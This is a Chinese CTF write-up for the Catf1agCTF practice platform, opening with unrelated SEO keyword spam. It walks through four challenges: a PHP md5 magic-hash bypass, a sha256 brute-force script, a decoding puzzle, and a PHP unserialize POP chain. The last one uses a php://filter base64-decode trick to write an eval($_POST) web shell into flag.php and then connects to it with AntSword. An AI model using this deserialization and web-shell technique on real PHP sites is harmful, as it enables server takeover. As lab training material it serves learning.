凡科建站快车官网,网站开发收获,品牌建设费用包括哪些,做cpa的博客网站类型前言
Catf1agCTF 是一个面向所有CTF#xff08;Capture The Flag#xff09;爱好者的综合训练平台#xff0c;尤其适合新手学习和提升技能 。该平台由catf1ag团队打造#xff0c;拥有超过200个原创题目#xff0c;题目设计注重知识点的掌握#xff0c;旨在帮助新手掌握C…前言
Catf1agCTF 是一个面向所有CTFCapture The Flag爱好者的综合训练平台尤其适合新手学习和提升技能 。该平台由catf1ag团队打造拥有超过200个原创题目题目设计注重知识点的掌握旨在帮助新手掌握CTF相关的各种技能 。除了新手题目平台也包含难度不一的题目适合不同水平的CTF参与者 。
平台上的题目类型多样包括WEB、MISC、CRYPTO、LINUX、PWN/ATTACK、REVERSE等题目分数制度从60分到100分不等难度从1星到5星 。题目提交时需要包含完整的题目环境、flag以及writeup以确保题目的完整性和可解性 。
此外Catf1agCTF平台还提供了一些辅助工具和资源如在线工具箱、SRC资料和HW资料等以帮助用户更好地进行学习和实战演练 。平台的网址为 https://catf1ag.cn/有意向的用户可以通过官方邮箱catf1ag163.com进行联系 。对于想要加入交流的用户平台还提供了官方QQ群和频道方便用户之间的互动和交流 。
需要注意的是平台上的部分题目可能需要特定的环境配置例如WEB题目会包含dockerfile而PWN/ATTACK题目则必须包含dockerfile以确保题目环境的完整性 。对于题目的flag格式平台有统一的要求即flag需要以catf1ag{}的格式呈现 。
总的来说Catf1agCTF是一个资源丰富、适合各个水平CTF爱好者的训练平台无论是新手还是有经验的参与者都能在这里找到适合自己的学习和提升机会。
一、md5($md5)
打开靶场 给出了源码 要求 $md5 经过 md5 加密后仍等于 $md5
?php
header(Content-Type:text/html;charsetutf-8);
show_source(__FILE__);
include(flag.php);
$md5 $_GET[md5];
if($md5 md5($md5)){echo GET_FLAG.$flag;
}else{echo md5校验失败...;
}
于是构造?md50e215962017 拿到 flag 二、[原九小时AK赛] passwd
打开靶场 下载文件 观察推测为 sha256通常表示为64个十六进制字符
编写脚本破解 sha256
from hashlib import sha256
for i in range(202210000000,202212120000):s69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95if(sha256(str(i).encode()).hexdigest()s):print(i)
#202211121750
三、[原九小时AK赛] whisper
打开靶场 页面如下 URL 添加上 /whisper 得到奇怪字符 使用随波逐流一键解码拿到前半段 flag 根据题目提示不同的方法效果不一样。换 Post 方式请求返回 na_s1aq_nyy_0s_z3} 四、[原九小时AK赛] wsy给你花花
打开靶场 打开显示源码 ?php
class catf1ag1{ public $hzy; public $arr; function show(){ show_source(__FILE__); } # __wakeup(): 当对象通过 unserialize() 反序列化时自动调用。遍历 $arr 数组中的每个元素输出 $hzy 对象的属性并附加字符串 hzy是社么鬼???function __wakeup(){ foreach($this-arr as $k $v){ echo $this-hzy-$v;echo /brhzy是社么鬼???;} }
} class catf1ag2{ public $file;public $txt ; # __get($key): 当访问不存在的属性时调用。如果 $key 是 pputut则返回 pputut() 方法的结果否则返回 $key 的 HTML 转义后的内容function __get($key){ if($key pputut){ # 检查 $file 路径是否包含 ../ 或 \\以防止目录遍历攻击。如果发现这些字符则终止脚本return $this-pputut(); }else{ return p.htmlspecialchars($key)./p; } } function pputut(){ if( strpos($this-file,../) ! false || strpos($this-file,\\) ! false ) die(); $content ?php die(\stupid\); ?;echo NICE!!!,来自wsy赠送的小红花/br;$content . $this-txt; file_put_contents($this-file, $content); return htmlspecialchars($content); } } if(!empty($_POST)){ $hzy base64_decode($_POST[wwsysy]); $instance unserialize($hzy);
}else{ $a new catf1ag1(); $a-show();
}
?php
class catf1ag1{ public $hzy; public $arr; function show(){ show_source(__FILE__); } function __wakeup(){ foreach($this-arr as $k $v){ echo $this-hzy-$v;echo /brhzy是社么鬼???;} }
} class catf1ag2{ public $file;public $txt ; function __get($key){ if($key pputut){ return $this-pputut(); }else{ return p.htmlspecialchars($key)./p; } } function pputut(){ if( strpos($this-file,../) ! false || strpos($this-file,\\) ! false ) die(); $content ?php die(\stupid\); ?;echo NICE!!!,来自wsy赠送的小红花/br;$content . $this-txt; file_put_contents($this-file, $content); return htmlspecialchars($content); } } $a new catf1ag1();
$a-arr array(pputut); // 将 pputut 传给 catf1ag2
$a-hzy new catf1ag2();
$a-hzy-file php://filter/convert.base64-decode/resourceflag.php; // 使用base64-decode绕过content并将文件输出到 flag.php
$a-hzy-txt IDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4gIA; // 植入一句话木马 ,密码为a
echo base64_encode(serialize($a));
?
执行代码得到
Tzo4OiJjYXRmMWFnMSI6Mjp7czozOiJoenkiO086ODoiY2F0ZjFhZzIiOjI6e3M6NDoiZmlsZSI7czo1MjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1mbGFnLnBocCI7czozOiJ0eHQiO3M6NDQ6IklEdy9jR2h3SUVCbGRtRnNLQ1JmVUU5VFZGc25ZU2RkS1RzZ1B6NGdJQT09Ijt9czozOiJhcnIiO2E6MTp7aTowO3M6NjoicHB1dHV0Ijt9fQ
Post 提交后使用蚁剑连接